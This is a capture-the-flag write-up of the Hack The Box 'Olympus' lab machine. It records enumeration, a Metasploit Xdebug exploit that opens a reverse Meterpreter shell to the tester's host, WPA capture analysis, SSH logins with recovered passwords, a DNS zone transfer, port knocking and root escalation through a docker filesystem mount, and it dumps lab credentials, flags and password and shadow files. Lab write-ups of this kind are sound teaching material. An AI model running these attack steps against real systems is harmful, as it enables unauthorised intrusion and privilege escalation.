## **Credentials**

username	password	note	
icarus	Too_cl0se_to_th3_Sun	ssh 2222 icarus credentials	
prometheus	St34I_th3_F1re!	ssh 22 prometheus credentials	
user.txt	8aa18519aff3c528c46bf675d6e88719	user.txt flag	
root.txt	aba486990e2e849e25c23f6e41e5e303	root.txt flag	

## **NMAP**

### **TCP**

Basic nmap enumeration.

```
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 19:21 CDT
Nmap scan report for 10.10.10.83
Host is up (0.036s latency).
Not shown: 996 closed ports
PORT
        STATE
                 SERVICE VERSION
22/tcp filtered ssh
53/tcp open domain (unknown banner: Bind)
| dns-nsid:
|_ bind.version: Bind
| fingerprint-strings:
   DNSVersionBindReqTCP:
     version
     bind
     Bind
80/tcp open http
                         Apache httpd
|_http-server-header: Apache
|_http-title: Crete island - Olympus HTB
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
   NULL:
```

```
SSH-2.0-City of olympia
| ssh-hostkey:
   2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
   256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
__ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
2 services unrecognized despite returning data. If you know the
service/version, please submit the following fingerprints at
https://nmap.org/cgi-bin/submit.cgi?new-service :
=======NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=========
SF-Port53-TCP:V=7.91%I=7%D=5/17%Time=60A3087F%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,3F,"0=0\times06\times8500\times010\times010\times010\times010\times07version\times
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0\x0c\
SF:0\x02\0\x03\0\0\0\0\x02\xc0\x0c");
=======NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=========
SF-Port2222-TCP:V=7.91%I=7%D=5/17%Time=60A3087A%P=x86_64-pc-linux-gnu%r(NU
SF:20\x20\x20\x20\x20\x20\x20\x20\r\n");
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.47 seconds
```

## **Nikto**

Nikto find a xdebug header.

```
false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
```

## **Gobuster**

```
$ gobuster dir -u 10.10.10.83 -w /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt -x php,txt,bak -o gobuster-root.txt
______
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                    http://10.10.10.83
[+] Method:
                    GET
[+] Threads:
[+] Wordlist:
                    /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
[+] Negative Status codes: 404
               gobuster/3.1.0
[+] User Agent:
[+] Extensions:
                    php,txt,bak
[+] Timeout:
                    10s
2021/05/17 19:27:28 Starting gobuster in directory enumeration mode
______
/index.php
               (Status: 200) [Size: 314]
```

# Website (80)

Xdebug 2.5.5 is active on the website.

```
Request
                                                                                                                 Response
Pretty Raw \n Actions ➤
                                                                                                                Pretty Raw Render \n Actions >
                                                                                                                 1 HTTP/1.1 200 OK
2 Date: Mon, 17 May 2021 17:31:41 GMT
1 GET /index.php HTTP/1.1
2 Host: 10.10.10.83
                                                                                                                 3 Server: Apache
4 Vary: Accept-Encoding
5 X-Content-Type-Options:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
                                                                                                                 6 X-Frame-Options: sameorigin
                                                                                                                   X-XSS-Protection: 1; mode=block
                                                                                                                   Xdebug: 2.5.5
Content-Length: 314
                                                                                                                10 Connection: close
                                                                                                                11 Content-Type: text/html; charset=UTF-8
                                                                                                                14 < IDOCTYPE HTML>
                                                                                                               15 <html> 16 <head>
                                                                                                                        <title>
                                                                                                                           Crete island - Olympus HTB
                                                                                                                       </title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
k rel="shortcut icon" href="favicon.ico">
                                                                                                                         rel="stylesheet" type="text/css" href="crete.css">
                                                                                                                      </head>
<body class="crete">
                                                                                                                      </body>
                                                                                                                24 </html>
```

There is an exploit on this version of Xdebug: <a href="https://www.exploit-db.com/exploits/44568">https://www.exploit-db.com/exploits/44568</a>

```
msf6 exploit(unix/http/xdebug_unauth_exec) > set RHOSTS 10.10.10.83
RHOSTS => 10.10.10.83
msf6 exploit(unix/http/xdebug_unauth_exec) > set LHOST 10.10.14.7
LHOST => 10.10.14.7
msf6 exploit(unix/http/xdebug_unauth_exec) > run

[*] Started reverse TCP handler on 10.10.14.7:4444
[*] 10.10.10.83:80 - Waiting for client response.
[*] 10.10.10.83:80 - Receiving response
[*] 10.10.10.83:80 - Shell might take upto a minute to respond.Please be patient.
[*] 10.10.10.83:80 - Sending payload of size 2026 bytes
[*] Sending stage (39282 bytes) to 10.10.10.83
[*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.10.83:59756) at 2021-05-17 19:34:24 -0500
meterpreter >
```

## **Shell**

A weird file <u>captured.cap</u> exists on the <u>airgeddon</u> directory. Let's download it and analyse with wireshark.

```
pwd
/home/zeus/airgeddon/captured
ls -la
total 304
```

```
drwxr-xr-x 1 zeus zeus 4096 Apr 8 2018 .

drwxr-xr-x 1 zeus zeus 4096 Apr 8 2018 ..

-rw-r--r-- 1 zeus zeus 297917 Apr 8 2018 captured.cap

-rw-r--r-- 1 zeus zeus 57 Apr 8 2018 papyrus.txt

cat papyrus.txt

Captured while flying. I'll banish him to Olympia - Zeus
```

#### This is a Tp-Link router interception. Try to crack his master key with aircrack.

Apply a display filter <ctrl-></ctrl->								
No.	Time	Source	Destination	Protocol	Length Info			
	1 0.000000	Tp-LinkT_ab:a8:a9	Broadcast	802.11	269 Beacon frame, SN=1331, FN=0, Flags=, BI=10			
	2 0.165376	HewlettP_90:fb:19	IPv4mcast_7f:ff:fa	802.11	213 Data, SN=84, FN=0, Flags=.pF.			
	3 0.444455	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=0, FN=0, Flags=			
	4 0.446503	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=1, FN=0, Flags=			
	5 0.446503	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=0, FN=0, Flags=			
	6 0.449063	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=1, FN=0, Flags=			
	7 0.449063	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=2, FN=0, Flags=			
	8 0.450599	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=2, FN=0, Flags=			
	9 0.451623	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=3, FN=0, Flags=			
	10 0.454695	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=4, FN=0, Flags=			
	11 0.454695	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=3, FN=0, Flags=			
	12 0.455719	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=4, FN=0, Flags=			
	13 0.456743	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=5, FN=0, Flags=			
	14 0.458791	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=5, FN=0, Flags=			
	15 0.458791	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=6, FN=0, Flags=			
	16 0.460839	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=6, FN=0, Flags=			
	17 0.460839	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=7, FN=0, Flags=			
	18 0.462887	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=7, FN=0, Flags=			
	19 0.463399	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=8, FN=0, Flags=			
	20 0.464423	Tp-LinkT_ab:a8:a9	Broadcast	802.11	26 Deauthentication, SN=8, FN=0, Flags=			

# 

EAPOL HMAC : AC 1A 73 84 FB BF 75 9C 86 CF 5B 5A F4 8A 4C 38

We have a potential user: icarus
The ssid seems to be a password.

```
HewlettP 90:fb:19
                                IPv4mcast 7f:ff:fa
                                                    802.11
                                                               213 Data, SN=84, FN=0, Flags=.p....F
44455
          Tp-LinkT ab:a8:a9
                               Broadcast
                                                    802.11
                                                               26 Deauthentication, SN=0, FN=0, Flags=.....
          Tp-LinkT_ab:a8:a9
                                                                26 Deauthentication, SN=1, FN=0, Flags=.....
46503
                               Broadcast
          Tp-LinkT_ab:a8:a9
                                                                26 Deauthentication, SN=0, FN=0, Flags=.....
                                                    802.11
49063
                               Broadcast
                                                                26 Deauthentication, SN=1, FN=0, Flags=......
49063
          Tp-LinkT_ab:a8:a9
                               Broadcast
                                                    802.11
                                                               26 Deauthentication, SN=2, FN=0, Flags=.....
          Tp-LinkT_ab:a8:a9
                                                    802.11
                                                               26 Deauthentication, SN=2, FN=0, Flags=......
50599
                               Broadcast
51623
          Tp-LinkT_ab:a8:a9
                               Broadcast
                                                                26 Deauthentication, SN=3, FN=0, Flags=......
54695
                               Broadcast
                                                                26 Deauthentication, SN=4, FN=0, Flags=.....
54695
          Tp-LinkT_ab:a8:a9
                              Broadcast
                                                    802.11
                                                               26 Deauthentication, SN=3, FN=0, Flags=.....
55719
          Tp-LinkT ab:a8:a9
                               Broadcast
                                                    802.11
                                                               26 Deauthentication, SN=4, FN=0, Flags=.....
56743
          Tp-LinkT_ab:a8:a9
                                                               26 Deauthentication, SN=5, FN=0, Flags=......
                               Broadcast
                                                                26 Deauthentication, SN=5, FN=0, Flags=......
          Tp-LinkT_ab:a8:a9
58791
                                                    802.11
58791
          Tp-LinkT_ab:a8:a9
                               Broadcast
                                                    802.11
                                                               26 Deauthentication, SN=6, FN=0, Flags=.....
                                                               26 Deauthentication, SN=6, FN=0, Flags=.....
60839
          Tp-LinkT ab:a8:a9
                               Broadcast
                                                    802.11
                                                                26 Deauthentication, SN=7, FN=0, Flags=......
60839
          Tp-LinkT_ab:a8:a9
                                                    802.11
                               Broadcast
          Tp-LinkT_ab:a8:a9
                                                                26 Deauthentication, SN=7, FN=0, Flags=.....
                                                    802.11
63399
          Tp-LinkT_ab:a8:a9
                               Broadcast
                                                    802.11
                                                                26 Deauthentication, SN=8, FN=0, Flags=.....
64423
          Tp-LinkT ab:a8:a9
                              Broadcast
                                                    802.11
                                                               26 Deauthentication, SN=8, FN=0, Flags=.....
   .... 0000 = Fragment number: 0
0101 0011 0011 .... = Sequence number: 1331
  IEEE 802.11 Wireless Management
    Fixed parameters (12 bytes)
    Tagged parameters (233 bytes)
      Tag: SSID parameter set: Too close to th3 Sun
        Tag Number: SSID parameter set (0)
        Tag length: 20
      Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec]
      Tag: DS Parameter set: Current Channel:
      Tag: Traffic Indication Map (TIM): DTIM 1 of 1 bitmap
      Tag: ERP Information
```

```
$ ssh icarus@10.10.10.83 -p 2222
The authenticity of host '[10.10.10.83]:2222 ([10.10.10.83]:2222)' can't be
established.
ECDSA key fingerprint is SHA256:uyZtmsYFq/Ac58+SEgLsL+NK05LlH2qwp2EXB1Dxl04.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.83]:2222' (ECDSA) to the list of known
hosts.
icarus@10.10.10.83's password: Too_cl0se_to_th3_Sun
Last login: Sun Apr 15 16:44:40 2018 from 10.10.14.4
icarus@620b296204a3:~$
```

## **Escalation (docker)**

```
We are on a docker.

New domain name: ctfolympus.htb

Let's try a domain transfer.
```

```
$ cat help_of_the_gods.txt
```

```
Athena goddess will guide you through the dark...

Way to Rhodes...

ctfolympus.htb
```

## **DNS**

```
$ dig axfr @10.10.10.83 ctfolympus.htb
; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.10.83 ctfolympus.htb
; (1 server found)
;; global options: +cmd
ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb.
2018042301 21600 3600 604800 86400
ctfolympus.htb. 86400
                         IN TXT "prometheus, open a temporal portal to
Hades (3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb. 86400
                          IN A 192.168.0.120
ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb.
ctfolympus.htb.
                86400 IN NS ns2.ctfolympus.htb.
              86400 IN MX 10 mail.ctfolympus.htb.
ctfolympus.htb.
crete.ctfolympus.htb. 86400
                              IN CNAME ctfolympus.htb.
hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
mail.ctfolympus.htb. 86400 IN A 192.168.0.120
ns1.ctfolympus.htb. 86400 IN A 192.168.0.120
ns2.ctfolympus.htb. 86400 IN A 192.168.0.120
rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of
Rhodes"
www.ctfolympus.htb. 86400 IN CNAME
                                     ctfolympus.htb.
ctfolympus.htb.
                  86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb.
2018042301 21600 3600 604800 86400
;; Query time: 35 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Mon May 17 20:29:30 CDT 2021
;; XFR size: 15 records (messages 1, bytes 475)
```

We have a bunch of domain name.

```
ns1.ctfolympus.htb
ns2.ctfolympus.htb
mail.ctfolympus.htb
hades.ctfolympus.htb
crete.ctfolympus.htb
rhodes.ctfolympus.htb
RhodesColossus.ctfolympus.htb
ctfolympus.htb
```

And potential credentials: prometheus:St34l\_th3\_F1re!

We can knock these ports.

```
$ nmap 10.10.10.83 -p 22
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 20:35 CDT
Nmap scan report for 10.10.10.83
Host is up (0.040s latency).

PORT STATE SERVICE
22/tcp filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
```

```
$ knock -v 10.10.10.83 3456 8234 62431
hitting tcp 10.10.10.83:3456
hitting tcp 10.10.10.83:8234
hitting tcp 10.10.10.83:62431
```

```
$ nmap 10.10.10.83 -p 22
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 20:36 CDT
Nmap scan report for 10.10.10.83
Host is up (0.036s latency).

PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
```

Then, connect to ssh with the previous credentials.

## **Escalation (port 22)**

```
$ ssh prometheus@10.10.10.83

The authenticity of host '10.10.10.83 (10.10.10.83)' can't be established.

ECDSA key fingerprint is SHA256:8TR2+AWSBT/c5mrjpDotoEYu0mEy/jCzpuS79d+Z0oY.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.10.83' (ECDSA) to the list of known hosts.

prometheus@10.10.10.83's password: St34l_th3_F1re!

Welcome to

((/( ) ) \) (( ) (( ) / ( ) ) \( ( ( ) / ( ) ) ) ( ( ( ) / ( ) ) ) ( ( ( ) / ( ) ) ) ( ( ( ) / ( ) ) ) ( ( ( ) / ( ) ) ) ( ( ( ) / ( ) ) ) ( ( ( ) / ( ) ) ) ( ( ( ) / ( ) / ( ) ) ( ( ) / ( ) ) ( ( ) / ( ) ) ( ( ) / ( ) ) ( ( ( ) / ( ) / ( ) ) ( ( ) / ( ) / ( ) ) ( ( ( ) / ( ) / ( ) / ( ) ) ( ( ( ) / ( ) / ( ) / ( ) ) ( ( ( ) / ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) ) ( ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ) / ( ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) / ( ) /
```

Prometheus is in the docker group.

\$ docker images									
REPOSITORY	TAG	IMAGE ID	CREATED						
SIZE									
crete	latest	31be8149528e	3 years ago						
450MB									
olympia	latest	2b8904180780	3 years ago						
209MB									
rodhes	latest	82fbfd61b8c1	3 years ago						
215MB									

```
f00ba96171c5
                   crete
                                       "docker-php-entrypoi..." 3 years ago
Up About an hour
                   0.0.0.0:80->80/tcp
                                                            crete
ce2ecb56a96e
                                       "/etc/bind/entrypoin..." 3 years ago
                   rodhes
Up About an hour
                  0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp
                                                            rhodes
                                       "/usr/sbin/sshd -D"
620b296204a3
                   olympia
                                                                3 years ago
Up About an hour
                   0.0.0.0:2222->22/tcp
                                                            olympia
```

We can run olympia docker process as root with the following command.

```
$ docker run -v /:/root -i -t olympia /bin/bash
root@07abfc9f9938:/# id
uid=0(root) gid=0(root) groups=0(root)
```

The root flag are in /root/root/root.txt

## **Passwd file**

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time
Synchronization,,,:/run/systemd:/bin/false
```

```
systemd-network:x:101:104:systemd Network
Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
zeus:x:1000:1000::/home/zeus:/bin/bash
```

## **Shadow file**

```
root:*:17590:0:99999:7:::
daemon: *:17590:0:99999:7:::
bin:*:17590:0:99999:7:::
sys:*:17590:0:99999:7:::
sync:*:17590:0:99999:7:::
games:*:17590:0:99999:7<u>:::</u>
man: *: 17590:0:99999:7:::
lp:*:17590:0:99999:7:::
mail:*:17590:0:99999:7:::
news:*:17590:0:99999:7:::
uucp:*:17590:0:99999:7:::
proxy: *:17590:0:99999:7:::
www-data:*:17590:0:99999:7:::
backup: *:17590:0:99999:7:::
list:*:17590:0:99999:7:::
irc:*:17590:0:99999:7:::
gnats:*:17590:0:99999:7:::
nobody:*:17590:0:99999:7:::
systemd-timesync:*:17590:0:99999:7:::
systemd-network: *:17590:0:99999:7:::
systemd-resolve:*:17590:0:99999:7:::
systemd-bus-proxy:*:17590:0:99999:7:::
_apt:*:17590:0:99999:7:::
sshd:*:17624:0:99999:7:::
icarus:$6$qtc/HhcZ$SMnPL9GcCV7vXgqNt.E9w5mb.vunWyHwI5Y2.2658KQIamLfhOwHu7guYlBlJS
```